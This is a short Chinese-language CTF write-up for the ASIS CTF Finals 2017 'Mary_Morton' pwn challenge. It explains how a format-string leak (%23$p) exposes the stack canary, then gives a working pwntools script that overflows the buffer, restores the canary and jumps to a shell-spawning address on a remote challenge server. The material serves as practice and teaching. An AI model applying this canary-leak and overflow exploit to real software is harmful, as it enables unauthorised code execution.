ASIS-CTF-Finals-2017 Mary_Morton

讲道理 这个 其实 感觉有两个方法 

两种方法 都要调用一下    第一个  printf函数     

第一个是 我们第一个可以    用printf  然后hook掉got的printf  不知道好不好实现  自己搜索了 资料 也没有发现 

第二个 就是观察栈了  。。。。。。。

这里有个保护  

就是 

readfsqword  在 ida 的f5看的不是很清楚 我们 看 汇编窗口的代码 

只有 rax 和fs:28h 两个值相等的时候   顺利的返回值  要不然  会调用 另一个 函数 

那么 我们那个 比较值 又在 溢出点上面  这就肯定不能随便输入了     可以 把这个原本的值 找出来   然后写回去  

这里  我们看看 2那个函数 

看的出来  他也有这个 readfsqword 这个函数   那么 我们经过调试 发现  

那个点 在   2那里 是  23*8 的地方(相对输入 )  在1的地方是  17*8 的地方   

然后  本来我还以为 他们这个是定值 后来我发现 这个只是一个地址    地址 是随机的  

那么 这个 printf  就可以利用一下  把  我们的   那个 地址 打印出来   然后就可以   把这个利用了

那么可以写出exp

from pwn import*
from time import*
io=remote('111.198.29.45','30114')
system_addr=p64(0x4008de)
io.sendlineafter('3. Exit the battle \n','2')
#io.recv()
io.sendline('%23$p')
sleep(0.3)
io.recvuntil('0x')
ss=io.recv(16)
pp=int(ss,16)
pp=p64(pp)
io.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
io.sendline(p)
print io.recv()
print io.recv()
print io.recv()

得出flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值